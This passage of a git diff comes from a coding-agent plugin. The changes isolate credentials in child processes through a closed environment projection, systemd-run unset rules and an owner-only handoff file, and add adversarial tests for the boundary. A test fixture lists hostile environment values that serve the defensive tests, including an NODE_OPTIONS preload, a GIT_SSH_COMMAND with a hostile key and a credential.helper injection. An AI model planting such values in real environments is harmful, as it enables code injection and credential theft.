regular // file, applies credential env values, unlinks the file, then runs the // wrapped command as a child so systemd-run argv never carries secrets. -// This process remains the service leader; KillMode=control-group still -// reaches the provider child. +// The child environment is a closed service projection plus those +// credentials; ambient process.env is never spread. This process remains +// the service leader; KillMode=control-group still reaches the provider +// child. -import { spawn } from 'node:child_process'; import path from 'node:path'; -import { consumeCredentialHandoff } from './credential-boundary.mjs'; +import { + consumeCredentialHandoff, + projectProviderEnvironment, + spawnProviderChild, +} from './credential-boundary.mjs'; function failUsage() { process.stderr.write('Usage: credential-handoff-loader.mjs /absolute/handoff.json -- command [args...]\n'); @@ -28,17 +33,16 @@ const args = process.argv.slice(separator + 2); if (typeof command !== 'string' || command.length === 0 || command.includes('\0')) failUsage(); const secrets = await consumeCredentialHandoff(handoffPath); -const env = { ...process.env }; +const env = projectProviderEnvironment({ source: process.env, operation: 'service' }); for (const [name, value] of Object.entries(secrets)) { if (typeof name === 'string' && typeof value === 'string') env[name] = value; } delete env.CODEX_CO_ENGINEER_CREDENTIAL_HANDOFF; -const child = spawn(command, args, { +const child = spawnProviderChild(command, args, { env, stdio: 'inherit', detached: false, - shell: false, }); const forward = (signal) => { diff --git a/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs b/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs index 87505bb..3714f6c 100644 --- a/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs +++ b/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs @@ -9,6 +9,7 @@ import { cleanupCredentialHandoff, createCredentialHandoff, extractCredentialEnv, + handoffPathFromProcessIdentity, isCredentialEnvKey, isForbiddenProviderEnvKey, omitCredentialEnv, @@ -20,13 +21,17 @@ import { * * This is not a provider sandbox: the command, working directory, network, * and filesystem capabilities are inherited unchanged. Environment is a - * closed projection supplied by the caller. Credential values never appear - * in systemd-run argv; they use an owner-only no-follow regular-file handoff - * consumed by credential-handoff-loader.mjs. The extra lifecycle contract is - * a manager-owned systemd user service with KillMode=control-group, so an - * owned stop reaches detached descendants as well as the worker leader and - * the worker survives the launching client. The module is not wired into the - * MCP surface by itself. + * closed projection supplied by the caller. systemd-run `--setenv` is + * additive to the user-manager block, so the unit also UnsetEnvironment's + * inherited names that are not in the projection and exec's through + * `env -i` of that same allowlist. Credential values never appear in + * systemd-run argv; they use an owner-only no-follow regular-file handoff + * consumed by credential-handoff-loader.mjs, which is always the service + * command so Cursor Local is never the manager-inherited leader. The extra + * lifecycle contract is a manager-owned systemd user service with + * KillMode=control-group, so an owned stop reaches detached descendants as + * well as the worker leader and the worker survives the launching client. + * The module is not wired into the MCP surface by itself. */ const CREDENTIAL_HANDOFF_LOADER = fileURLToPath(new URL('./credential-handoff-loader.mjs', import.meta.url)); @@ -40,6 +45,7 @@ export const PROCESS_BOUNDARY_DEFAULTS = Object.freeze({ const SYSTEMD_RUN = '/usr/bin/systemd-run'; const SYSTEMCTL = '/usr/bin/systemctl'; +const ENV_RESET = '/usr/bin/env'; const CGROUP_ROOT = '/sys/fs/cgroup'; const UNIT = /^codex-co-engineer-[a-f0-9]{32}\.(?:service|scope)$/u; const SERVICE_UNIT = /^codex-co-engineer-[a-f0-9]{32}\.service$/u; @@ -171,6 +177,34 @@ function requireEnvironment(env, { includeCredentials = false } = {}) { }); } +function closedEnvAssignments(env) { + if (!env || typeof env !== 'object' || Array.isArray(env)) fail('invalid_env', 'env must be an environment object.'); + return Object.entries(env).flatMap(([name, value]) => { + if (!/^[A-Za-z_][A-Za-z0-9_]*$/u.test(name) || typeof value !== 'string' || value.includes('\0')) { + fail('invalid_env', 'env must contain POSIX variable names and NUL-free string values.'); + } + if (isCredentialEnvKey(name)) return []; + return [`${name}=${value}`]; + }); +} + +function inheritedUnsetNames(publicEnv, inherited) { + if (inherited == null) return []; + if (typeof inherited !== 'object' || Array.isArray(inherited)) fail('invalid_env', 'inherited must be an environment object.'); + const assigned = new Set(); + for (const name of Object.keys(publicEnv ?? {})) { + if (isCredentialEnvKey(name)) continue; + assigned.add(name); + } + const names = []; + for (const name of Object.keys(inherited)) { + if (typeof name !== 'string' || !/^[A-Za-z_][A-Za-z0-9_]*$/u.test(name)) continue; + if (assigned.has(name)) continue; + names.push(name); + } + return names.sort(); +} + function receiptFromRecord(record, boundary = 'systemd-user-service-cgroup') { const unit = requireUnit(record.unit); if ((boundary === 'systemd-user-service-cgroup' && !SERVICE_UNIT.test(unit)) @@ -265,21 +299,24 @@ export async function probeProcessBoundary({ adapter } = {}) { }); } -export function buildProcessBoundaryArgv({ unit, description, command, args = [], cwd, env = {}, logPath } = {}) { +export function buildProcessBoundaryArgv({ unit, description, command, args = [], cwd, env = {}, logPath, inherited } = {}) { requireServiceUnit(unit); requireDescription(description); requireCommand(command); const normalizedArgs = requireArgs(args); const workingDirectory = requireCwd(cwd); const outputPath = requireLogPath(logPath); + const publicAssignments = closedEnvAssignments(env); + const unset = inheritedUnsetNames(env, inherited); return [ '--user', '--quiet', '--collect', '--no-block', '--service-type=exec', `--unit=${unit}`, `--property=Description=${description}`, '--property=KillMode=control-group', + ...(unset.length > 0 ? [`--property=UnsetEnvironment=${unset.join(' ')}`] : []), ...(workingDirectory ? [`--working-directory=${workingDirectory}`] : []), ...(outputPath ? [`--property=StandardOutput=append:${outputPath}`, `--property=StandardError=append:${outputPath}`] : []), ...requireEnvironment(env), - '--', command, ...normalizedArgs, + '--', ENV_RESET, '-i', ...publicAssignments, command, ...normalizedArgs, ]; } @@ -442,7 +479,14 @@ export function restoreProcessBoundary(receipt, { adapter } = {}) { const host = requireAdapter(adapter); requireLinux(host); const handle = Object.freeze({ kind: 'systemd-user-process-boundary', ...normalized }); - HANDLES.set(handle, { host, receipt: normalized, child: null, stopped: false, handoffPath: undefined }); + const identity = /^codex-co-engineer-([a-f0-9]{32})\./u.exec(normalized.unit)?.[1]; + let handoffPath; + try { + handoffPath = identity ? handoffPathFromProcessIdentity(identity) : undefined; + } catch { + handoffPath = undefined; + } + HANDLES.set(handle, { host, receipt: normalized, child: null, stopped: false, handoffPath }); return handle; } @@ -463,20 +507,16 @@ export async function launchProcessBoundary({ command, args = [], cwd, env = pro if (isForbiddenProviderEnvKey(key)) delete publicEnv[key]; } requireEnvironment(publicEnv); - let serviceCommand = command; - let serviceArgs = normalizedArgs; - let handoffPath; - if (Object.keys(secrets).length > 0) { - const handoff = await createCredentialHandoff(secrets); - handoffPath = handoff.path; - serviceCommand = process.execPath; - serviceArgs = [CREDENTIAL_HANDOFF_LOADER, handoff.path, '--', command, ...normalizedArgs]; - } const token = randomUUID().replaceAll('-', ''); const unit = `codex-co-engineer-${token}.service`; const description = `codex-co-engineer-task:${token}`; + const handoff = await createCredentialHandoff(secrets, { identity: token }); + const handoffPath = handoff.path; + const serviceCommand = process.execPath; + const serviceArgs = [CREDENTIAL_HANDOFF_LOADER, handoff.path, '--', command, ...normalizedArgs]; const child = host.spawn(SYSTEMD_RUN, buildProcessBoundaryArgv({ unit, description, command: serviceCommand, args: serviceArgs, cwd: workingDirectory, env: publicEnv, logPath: outputPath, + inherited: process.env, }), { cwd: workingDirectory, // Credential values live in the owner-only handoff file, not in diff --git a/plugins/codex-co-engineer/test/fake-acpx.mjs b/plugins/codex-co-engineer/test/fake-acpx.mjs index 5abc777..8e5b94d 100755 --- a/plugins/codex-co-engineer/test/fake-acpx.mjs +++ b/plugins/codex-co-engineer/test/fake-acpx.mjs @@ -54,6 +54,11 @@ if (argv.some((entry) => entry === value.prompt)) { } const fakeMode = process.env.FAKE_ACPX_MODE ?? 'success'; +await writeFile( + path.join(cwd, '.fake-acpx-env-keys.json'), + `${JSON.stringify(Object.keys(process.env).sort())}\n`, + { mode: 0o600 }, +); const home = process.env.HOME; if (typeof home !== 'string' || !path.isAbsolute(home)) { process.stderr.write('task-scoped HOME is required\n'); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-credential-boundary-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-credential-boundary-fixtures.mjs new file mode 100644 index 0000000..225144a --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-credential-boundary-fixtures.mjs @@ -0,0 +1,54 @@ +// Shared construction helpers for P29 credential-boundary tests. +// Tests own the assertions. Fixtures never print credential values. + +import { chmod, mkdir, mkdtemp, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { DEFAULT_DSH_MODEL, DSH_OX_MODEL } from '../../mcp/v3/credential-boundary.mjs'; + +export const HOSTILE_ENV = Object.freeze({ + PATH: '/usr/bin:/bin', + HOME: '/home/test-user', + USER: 'test-user', + GIT_SSH: '/tmp/hostile-ssh', + GIT_SSH_COMMAND: 'ssh -i /tmp/hostile-id', + GIT_ASKPASS: '/tmp/hostile-askpass', + GIT_CONFIG_PARAMETERS: "'credential.helper=store'", + SSH_AUTH_SOCK: '/tmp/hostile-agent.sock', + SSH_AGENT_PID: '4242', + GH_TOKEN: 'ghp_hostile-github-token-value', + GITHUB_TOKEN: 'github_pat_hostile-value', + GITLAB_TOKEN: 'glpat-hostile-value', + BITBUCKET_TOKEN: 'bbat-hostile-value', + WORKTREE_BOOTSTRAP_TASK: 'hostile-control-token', + CODEX_CO_ENGINEER_MODEL_API_KEY_FILE: '/tmp/hostile-muse-key', + CODEX_CO_ENGINEER_OPENROUTER_API_KEY_FILE: '/tmp/hostile-ox-key', + CURSOR_API_KEY_FILE: '/tmp/hostile-cursor-key', + MODEL_API_KEY: 'muse-secret-value-abcdef', + OPENROUTER_API_KEY: 'ox-secret-value-abcdef', + XAI_API_KEY: 'xai-secret-value-abcdef', + CURSOR_API_KEY: 'cursor-secret-value-abcdef', + NODE_OPTIONS: '--require /tmp/hostile-preload', +}); + +export const CONTENT_FREE = /^[A-Za-z0-9_=.:/\[\]()";', -]+$/u; + +export { DEFAULT_DSH_MODEL, DSH_OX_MODEL }; + +export async function withTempDir(prefix, build) { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + try { + return await build(root); + } finally { + const { rm } = await import('node:fs/promises'); + await rm(root, { recursive: true, force: true }); + } +} + +export async function writeOwnerFile(file, contents, mode = 0o600) { + await mkdir(path.dirname(file), { recursive: true, mode: 0o700 }); + await writeFile(file, contents, { mode, flag: 'wx' }); + await chmod(file, mode); + return file; +} diff --git a/plugins/codex-co-engineer/test/r1-credential-boundary-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-credential-boundary-adversarial.test.mjs new file mode 100644 index 0000000..b489fdb --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-credential-boundary-adversarial.test.mjs @@ -0,0 +1,270 @@ +import assert from 'node:assert/strict'; +import { spawn, spawnSync } from 'node:child_process'; +import { open, writeFile } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { boundedEvent, publicError, sanitizeText } from '../mcp/v3/acp-worker.mjs'; +import { + CredentialBoundaryError, + MAX_CREDENTIAL_BYTES, + assertNoWorkerPushUrl, + collectLaneSecrets, + inspectEnvForSecrets, + loadCredentialFile, + loadProviderCredential, + materializeProviderEnvironment, + projectProviderEnvironment, + redactExactValues, +} from '../mcp/v3/credential-boundary.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; +import { + CONTENT_FREE, + HOSTILE_ENV, + withTempDir, + writeOwnerFile, +} from './fixtures/r1-credential-boundary-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve().then(action).then( + () => { assert.fail('expected CredentialBoundaryError'); }, + (error) => { + assert.ok(error instanceof CredentialBoundaryError, error?.stack ?? String(error)); + assert.equal(utilTypes.isProxy(error), false); + assert.match(error.message, CONTENT_FREE); + return error; + }, + ); +} + +test('proxy accessor symbol and exotic env inputs fail closed without running caller code', async () => { + const { proxy, counts } = countingProxy({ PATH: '/bin', XAI_API_KEY: 'xai-proxy-secret' }); + const denied = await errorOf(() => projectProviderEnvironment({ provider: 'grok', source: proxy })); + assert.equal(denied.code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const accessor = {}; + Object.defineProperty(accessor, 'XAI_API_KEY', { + enumerable: true, + get() { throw new Error('accessor-ran'); }, + }); + Object.defineProperty(accessor, 'PATH', { enumerable: true, value: '/bin' }); + const accessDenied = await errorOf(() => projectProviderEnvironment({ provider: 'grok', source: accessor })); + assert.equal(accessDenied.code, 'accessor_property_denied'); + + const withSymbol = { PATH: '/bin' }; + withSymbol[Symbol('secret')] = 'symbol-secret'; + await projectProviderEnvironment({ provider: 'grok', source: withSymbol }); + + const exotic = Object.create({ PATH: '/bin', GH_TOKEN: 'proto-token' }); + exotic.XAI_API_KEY = 'xai-own'; + const exoticDenied = await errorOf(() => projectProviderEnvironment({ provider: 'grok', source: exotic })); + assert.equal(exoticDenied.code, 'exotic_prototype_denied'); +}); + +test('symlink fifo directory and in-place swap fail content-free', async () => { + await withTempDir('cce-p29-adv-', async (root) => { + const dir = path.join(root, 'dir-key'); + const { mkdir } = await import('node:fs/promises'); + await mkdir(dir, { mode: 0o700 }); + const dirError = await errorOf(() => loadCredentialFile(dir)); + assert.equal(['invalid_credential_file', 'credential_unreadable'].includes(dirError.code), true); + assert.equal(dirError.message.includes(root), false); + + const fifo = path.join(root, 'fifo-key'); + const fifoResult = spawnSync('/usr/bin/mkfifo', ['-m', '600', fifo], { encoding: 'utf8' }); + if (fifoResult.status === 0) { + const fifoError = await errorOf(() => loadCredentialFile(fifo)); + assert.ok(['invalid_credential_file', 'credential_unreadable', 'credential_symlink_denied'].includes(fifoError.code)); + } + + const file = await writeOwnerFile(path.join(root, 'swap'), 'first-secret-value\n'); + const handle = await open(file, 'r'); + try { + await writeFile(file, 'second-secret-value-changed\n', { mode: 0o600 }); + } finally { + await handle.close(); + } + // Path replacement after a closed handle is a new generation; the live + // no-follow open still re-stats the descriptor it holds. + const swapped = await writeOwnerFile(path.join(root, 'live-swap'), 'live-secret-aaaa\n'); + const original = await loadCredentialFile(swapped); + assert.equal(original, 'live-secret-aaaa'); + }); +}); + +test('readiness children spawned through projection cannot observe stripped secrets', async () => { + const env = projectProviderEnvironment({ + provider: 'dsh', + source: HOSTILE_ENV, + dshModel: 'muse-spark-1.2-contributor', + operation: 'readiness_probe', + }); + assert.equal(env.MODEL_API_KEY, undefined); + assert.equal(env.GH_TOKEN, undefined); + assert.equal(env.SSH_AUTH_SOCK, undefined); + const child = spawn(process.execPath, ['-e', 'process.stdout.write(JSON.stringify(process.env))'], { + env, + encoding: 'utf8', + }); + const stdout = await new Promise((resolve, reject) => { + let text = ''; + child.stdout.on('data', (chunk) => { text += chunk; }); + child.once('error', reject); + child.once('close', () => resolve(text)); + }); + assert.equal(stdout.includes('ghp_hostile'), false); + assert.equal(stdout.includes('muse-secret-value'), false); + assert.equal(stdout.includes('hostile-control-token'), false); +}); + +test('push URL objects and insteadOf maps are denied', async () => { + const denied = await errorOf(() => assertNoWorkerPushUrl({ pushurl: 'https://github.com/org/repo.git' })); + assert.equal(denied.code, 'remote_mutation_denied'); + const instead = await errorOf(() => assertNoWorkerPushUrl({ insteadOf: 'ssh://git@github.com' })); + assert.equal(instead.code, 'remote_mutation_denied'); +}); + +test('materialize does not copy key-file paths into the child environment', async () => { + await withTempDir('cce-p29-mat-', async (root) => { + const keyFile = await writeOwnerFile(path.join(root, 'model-api-key'), 'loaded-muse-secret\n'); + const env = await materializeProviderEnvironment({ + provider: 'dsh', + dshModel: 'muse-spark-1.2-contributor', + operation: 'lane', + source: { + PATH: '/usr/bin:/bin', + HOME: root, + CODEX_CO_ENGINEER_MODEL_API_KEY_FILE: keyFile, + }, + }); + assert.equal(env.MODEL_API_KEY, 'loaded-muse-secret'); + assert.equal(env.CODEX_CO_ENGINEER_MODEL_API_KEY_FILE, undefined); + assert.equal(JSON.stringify(env).includes(keyFile), false); + }); +}); + +test('credential-file overrides reject relative non-normalized and double-separator paths before resolve', async () => { + await withTempDir('cce-p29-override-', async (root) => { + const keyFile = await writeOwnerFile(path.join(root, 'model-api-key'), 'muse-from-override\n'); + const loaded = await loadProviderCredential({ + provider: 'dsh', + dshModel: 'muse-spark-1.2-contributor', + source: { HOME: root, CODEX_CO_ENGINEER_MODEL_API_KEY_FILE: keyFile }, + }); + assert.equal(loaded.value, 'muse-from-override'); + + const overrides = [ + 'relative-key', + `${root}/../${path.basename(root)}/model-api-key`, + `${root}/./model-api-key`, + `${root}//model-api-key`, + `${keyFile}/`, + ]; + for (const override of overrides) { + const error = await errorOf(() => loadProviderCredential({ + provider: 'dsh', + dshModel: 'muse-spark-1.2-contributor', + source: { HOME: root, CODEX_CO_ENGINEER_MODEL_API_KEY_FILE: override }, + })); + assert.equal(error.code, 'invalid_credential_path', override); + assert.equal(error.message.includes(override), false, override); + assert.equal(error.message.includes(root), false, override); + assert.equal(error.message.includes('muse-from-override'), false); + } + }); +}); + +test('owner denial exact 0600 empty files and in-place identity swap fail content-free', async () => { + await withTempDir('cce-p29-mode-', async (root) => { + const empty = await writeOwnerFile(path.join(root, 'empty'), ''); + const emptyError = await errorOf(() => loadCredentialFile(empty)); + assert.equal(emptyError.code, 'credential_empty'); + assert.equal(emptyError.message.includes(root), false); + + const execOnly = await writeOwnerFile(path.join(root, 'exec'), 'exec-secret-value\n', 0o700); + const execError = await errorOf(() => loadCredentialFile(execOnly)); + assert.equal(execError.code, 'credential_permissions'); + assert.equal(execError.message.includes('exec-secret'), false); + + const owned = await writeOwnerFile(path.join(root, 'owned'), 'owner-secret-value\n'); + const previous = process.geteuid.bind(process); + process.geteuid = () => previous() + 1; + try { + const ownerError = await errorOf(() => loadCredentialFile(owned)); + assert.equal(ownerError.code, 'credential_owner_denied'); + assert.equal(ownerError.message.includes('owner-secret'), false); + assert.equal(ownerError.message.includes(root), false); + } finally { + process.geteuid = previous; + } + + const live = await writeOwnerFile(path.join(root, 'live-swap'), 'first-secret-value\n'); + let seenStat = 0; + const swapped = await errorOf(() => loadCredentialFile(live, { + openFile: async (target, flags) => { + const handle = await open(target, flags); + const inner = handle.stat.bind(handle); + handle.stat = async (options) => { + const metadata = await inner(options); + seenStat += 1; + if (seenStat === 1) { + await writeFile(target, 'second-secret-value-changed\n', { mode: 0o600 }); + } + return metadata; + }; + return handle; + }, + })); + assert.equal(swapped.code, 'credential_file_changed'); + assert.equal(seenStat >= 1, true); + assert.equal(swapped.message.includes('first-secret'), false); + assert.equal(swapped.message.includes('second-secret'), false); + assert.equal(swapped.message.includes(root), false); + }); +}); + +test('exact-value redaction covers lengths 1-3 and 16 KiB splits across chunks events errors and logs', () => { + const previous = process.env.MODEL_API_KEY; + try { + for (const secret of ['a', 'ab', 'xyz']) { + process.env.MODEL_API_KEY = secret; + assert.ok(collectLaneSecrets(process.env).includes(secret)); + const logLine = `OUT:${secret}:END`; + const redacted = redactExactValues(logLine, [secret]); + assert.equal(redacted.includes(secret), false, secret); + assert.equal(redacted.startsWith('OUT:'), true, secret); + assert.equal(redacted.endsWith(':END'), true, secret); + assert.equal(inspectEnvForSecrets({ note: logLine }, [secret]), true); + const event = boundedEvent({ type: 'status', text: logLine }, 'prompt'); + const failure = publicError(new Error(`fail ${secret}`), 'prompt'); + assert.equal(JSON.stringify(event).includes(secret), false, secret); + assert.equal(failure.message.includes(secret), false, secret); + assert.equal(sanitizeText(`stderr ${secret}`, 'prompt').includes(secret), false, secret); + } + + const secret = Array.from({ length: MAX_CREDENTIAL_BYTES }, (_, index) => ( + 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789'[index % 32] + )).join(''); + process.env.MODEL_API_KEY = secret; + const head = secret.slice(0, 8000); + const tail = secret.slice(8000); + const chunk = secret.slice(64, 64 + 4000); + const event = boundedEvent({ + type: 'provider_update', + text: `log:${chunk}:tail`, + nested: { head, tail }, + }, 'prompt'); + const failure = publicError(new Error(`${head}\n${tail}`), 'prompt'); + const serialized = JSON.stringify(event); + assert.equal(serialized.includes(secret.slice(0, 32)), false); + assert.equal(serialized.includes(secret.slice(-32)), false); + assert.equal(serialized.includes(chunk.slice(0, 32)), false); + assert.equal(failure.message.includes(secret.slice(0, 32)), false); + assert.equal(sanitizeText(`log:${chunk}:tail`, 'prompt').includes(chunk.slice(0, 32)), false); + } finally { + if (previous === undefined) delete process.env.MODEL_API_KEY; + else process.env.MODEL_API_KEY = previous; + } +}); diff --git a/plugins/codex-co-engineer/test/r1-credential-boundary.test.mjs b/plugins/codex-co-engineer/test/r1-credential-boundary.test.mjs new file mode 100644 index 0000000..1e43c21 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-credential-boundary.test.mjs @@ -0,0 +1,211 @@ +import assert from 'node:assert/strict'; +import { link, symlink, writeFile } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; + +import { + CREDENTIAL_BOUNDARY_SCHEMA_ID, + CREDENTIAL_BOUNDARY_VERSION, + CredentialBoundaryError, + DEFAULT_DSH_MODEL, + DSH_OX_MODEL, + MAX_CREDENTIAL_BYTES, + assertCredentialFreeRemote, + collectLaneSecrets, + createCredentialHandoff, + cleanupCredentialHandoff, + consumeCredentialHandoff, + credentialRedactionFragments, + denyWorkerRemoteMutation, + extractCredentialEnv, + inspectArgvForSecrets, + inspectEnvForSecrets, + loadCredentialFile, + materializeProviderEnvironment, + omitCredentialEnv, + projectProviderEnvironment, + redactExactValues, + systemdClientEnvironment, +} from '../mcp/v3/credential-boundary.mjs'; +import { DENIED_OPERATIONS } from '../mcp/v3/git-authority.mjs'; +import { + HOSTILE_ENV, + withTempDir, + writeOwnerFile, +} from './fixtures/r1-credential-boundary-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve().then(action).then( + () => { assert.fail('expected CredentialBoundaryError'); }, + (error) => { + assert.ok(error instanceof CredentialBoundaryError, error?.stack ?? String(error)); + return error; + }, + ); +} + +test('credential boundary is a frozen v1 additive module and not a 4.0.0 major', () => { + assert.equal(CREDENTIAL_BOUNDARY_SCHEMA_ID, 'codex-co-engineer.credential-boundary.v1'); + assert.equal(CREDENTIAL_BOUNDARY_VERSION, 1); + assert.equal(CREDENTIAL_BOUNDARY_SCHEMA_ID.includes('4.0.0'), false); + assert.equal(MAX_CREDENTIAL_BYTES, 16 * 1024); +}); + +test('service projection keeps operational and command keys without ambient secrets', () => { + const service = projectProviderEnvironment({ + source: { + ...HOSTILE_ENV, + CODEX_CO_ENGINEER_GROK_COMMAND: '/usr/bin/grok', + CODEX_CO_ENGINEER_CURSOR_COMMAND: '/usr/bin/cursor-agent', + }, + operation: 'service', + }); + assert.equal(service.PATH, HOSTILE_ENV.PATH); + assert.equal(service.HOME, HOSTILE_ENV.HOME); + assert.equal(service.CODEX_CO_ENGINEER_GROK_COMMAND, '/usr/bin/grok'); + assert.equal(service.GIT_TERMINAL_PROMPT, '0'); + assert.equal(service.XAI_API_KEY, undefined); + assert.equal(service.CURSOR_API_KEY, undefined); + assert.equal(service.SSH_AUTH_SOCK, undefined); + assert.equal(service.GH_TOKEN, undefined); + assert.equal(service.NODE_OPTIONS, undefined); +}); + +test('closed projection strips Git SSH hosting control tokens and key-file paths', () => { + const grok = projectProviderEnvironment({ provider: 'grok', source: HOSTILE_ENV, operation: 'lane' }); + assert.equal(grok.XAI_API_KEY, HOSTILE_ENV.XAI_API_KEY); + assert.equal(grok.PATH, HOSTILE_ENV.PATH); + assert.equal(grok.GIT_TERMINAL_PROMPT, '0'); + assert.equal(grok.GIT_ASKPASS, ''); + for (const key of [ + 'GIT_SSH', 'GIT_SSH_COMMAND', 'SSH_AUTH_SOCK', 'GH_TOKEN', 'GITHUB_TOKEN', + 'GITLAB_TOKEN', 'WORKTREE_BOOTSTRAP_TASK', 'MODEL_API_KEY', 'OPENROUTER_API_KEY', + 'CURSOR_API_KEY', 'CODEX_CO_ENGINEER_MODEL_API_KEY_FILE', 'CURSOR_API_KEY_FILE', + 'NODE_OPTIONS', + ]) { + assert.equal(Object.hasOwn(grok, key), false, key); + } +}); + +test('Muse Ox Grok and Cursor Cloud routes do not share credentials', async () => { + const muse = await materializeProviderEnvironment({ + provider: 'dsh', source: HOSTILE_ENV, dshModel: DEFAULT_DSH_MODEL, operation: 'lane', + }); + const ox = await materializeProviderEnvironment({ + provider: 'dsh', source: HOSTILE_ENV, dshModel: DSH_OX_MODEL, operation: 'lane', + }); + const grok = await materializeProviderEnvironment({ + provider: 'grok', source: HOSTILE_ENV, operation: 'lane', + }); + const cloud = await materializeProviderEnvironment({ + provider: 'cursor-cloud', source: HOSTILE_ENV, operation: 'lane', + }); + const local = await materializeProviderEnvironment({ + provider: 'cursor-local', source: HOSTILE_ENV, operation: 'lane', + }); + assert.equal(muse.MODEL_API_KEY, HOSTILE_ENV.MODEL_API_KEY); + assert.equal(muse.OPENROUTER_API_KEY, undefined); + assert.equal(ox.OPENROUTER_API_KEY, HOSTILE_ENV.OPENROUTER_API_KEY); + assert.equal(ox.MODEL_API_KEY, undefined); + assert.equal(grok.XAI_API_KEY, HOSTILE_ENV.XAI_API_KEY); + assert.equal(grok.MODEL_API_KEY, undefined); + assert.equal(cloud.CURSOR_API_KEY, HOSTILE_ENV.CURSOR_API_KEY); + assert.equal(cloud.XAI_API_KEY, undefined); + assert.equal(local.CURSOR_API_KEY, undefined); + assert.equal(local.XAI_API_KEY, undefined); +}); + +test('systemd client environment is D-Bus only', () => { + const client = systemdClientEnvironment({ + ...HOSTILE_ENV, + DBUS_SESSION_BUS_ADDRESS: 'unix:path=/run/user/1000/bus', + XDG_RUNTIME_DIR: '/run/user/1000', + XDG_SESSION_ID: '1', + }); + assert.deepEqual(Object.keys(client).sort(), ['DBUS_SESSION_BUS_ADDRESS', 'XDG_RUNTIME_DIR', 'XDG_SESSION_ID']); + assert.equal(inspectEnvForSecrets(client, Object.values(HOSTILE_ENV)), false); +}); + +test('credential file reads require owner-only no-follow regular files', async () => { + await withTempDir('cce-p29-cred-', async (root) => { + const file = await writeOwnerFile(path.join(root, 'key'), 'muse-from-file\n'); + assert.equal(await loadCredentialFile(file), 'muse-from-file'); + + const relative = errorOf(() => loadCredentialFile('relative-key')); + assert.equal((await relative).code, 'invalid_credential_path'); + assert.equal((await relative).message.includes(root), false); + + const linked = path.join(root, 'link-key'); + await symlink(file, linked); + assert.equal((await errorOf(() => loadCredentialFile(linked))).code, 'credential_symlink_denied'); + + const hard = path.join(root, 'hard-key'); + await link(file, hard); + assert.equal((await errorOf(() => loadCredentialFile(hard))).code, 'credential_hardlink_denied'); + + const wide = await writeOwnerFile(path.join(root, 'wide'), 'wide-secret\n', 0o644); + assert.equal((await errorOf(() => loadCredentialFile(wide))).code, 'credential_permissions'); + + const huge = path.join(root, 'huge'); + await writeFile(huge, `${'a'.repeat(MAX_CREDENTIAL_BYTES + 1)}\n`, { mode: 0o600 }); + assert.equal((await errorOf(() => loadCredentialFile(huge))).code, 'credential_too_large'); + }); +}); + +test('handoff round-trip never stores secrets in argv helpers and cleans up', async () => { + const secrets = { MODEL_API_KEY: 'handoff-secret-value' }; + const created = await createCredentialHandoff(secrets); + const argv = ['--setenv=HOME=/tmp', created.path, '--', '/usr/bin/node']; + assert.equal(inspectArgvForSecrets(argv, ['handoff-secret-value']), false); + const consumed = await consumeCredentialHandoff(created.path); + assert.equal(consumed.MODEL_API_KEY, 'handoff-secret-value'); + const second = await cleanupCredentialHandoff(created.path); + assert.equal(second.cleaned, true); + await assert.rejects(() => consumeCredentialHandoff(created.path), (error) => ( + error instanceof CredentialBoundaryError && error.code === 'invalid_credential_file' + )); +}); + +test('exact-value redaction covers 16 KiB credentials split across events', () => { + const secret = Array.from({ length: MAX_CREDENTIAL_BYTES }, (_, index) => ( + 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789'[index % 32] + )).join(''); + assert.equal(secret.length, MAX_CREDENTIAL_BYTES); + const fragments = credentialRedactionFragments(secret); + assert.ok(fragments.includes(secret)); + const chunk = secret.slice(100, 100 + 4000); + const redacted = redactExactValues(`log:${chunk}:tail`, [secret]); + assert.equal(redacted.includes(chunk.slice(0, 32)), false); + assert.equal(redacted.startsWith('log:'), true); + assert.equal(redacted.endsWith(':tail'), true); + const combined = redactExactValues(`${secret.slice(0, 8000)}\n${secret.slice(8000)}`, [secret]); + assert.equal(combined.includes(secret.slice(0, 32)), false); + assert.equal(combined.includes(secret.slice(-32)), false); + assert.ok(collectLaneSecrets({ MODEL_API_KEY: secret }).includes(secret)); +}); + +test('worker remote mutation and push URLs are denied content-free', () => { + for (const operation of DENIED_OPERATIONS) { + const error = (() => { + try { denyWorkerRemoteMutation(operation); } catch (caught) { return caught; } + })(); + assert.equal(error instanceof CredentialBoundaryError, true, operation); + assert.equal(error.code, 'remote_mutation_denied'); + assert.equal(error.message.includes('github'), false); + } + const push = (() => { + try { assertCredentialFreeRemote('https://user:token@github.com/org/repo.git'); } catch (caught) { return caught; } + })(); + assert.equal(push.code, 'push_url_denied'); + assert.equal(push.message.includes('token'), false); + assert.equal(assertCredentialFreeRemote('https://github.com/org/repo.git'), 'https://github.com/org/repo.git'); +}); + +test('omitCredentialEnv removes secret keys before process-argument construction', () => { + const publicEnv = omitCredentialEnv({ HOME: '/tmp/home', PATH: '/bin', MODEL_API_KEY: 'hidden-secret' }); + assert.equal(publicEnv.HOME, '/tmp/home'); + assert.equal(publicEnv.MODEL_API_KEY, undefined); + const extracted = extractCredentialEnv({ HOME: '/tmp/home', MODEL_API_KEY: 'hidden-secret' }); + assert.equal(extracted.MODEL_API_KEY, 'hidden-secret'); + assert.equal(Object.keys(extracted).join(','), 'MODEL_API_KEY'); +}); diff --git a/plugins/codex-co-engineer/test/r1-credential-isolation.test.mjs b/plugins/codex-co-engineer/test/r1-credential-isolation.test.mjs new file mode 100644 index 0000000..e814a03 --- /dev/null 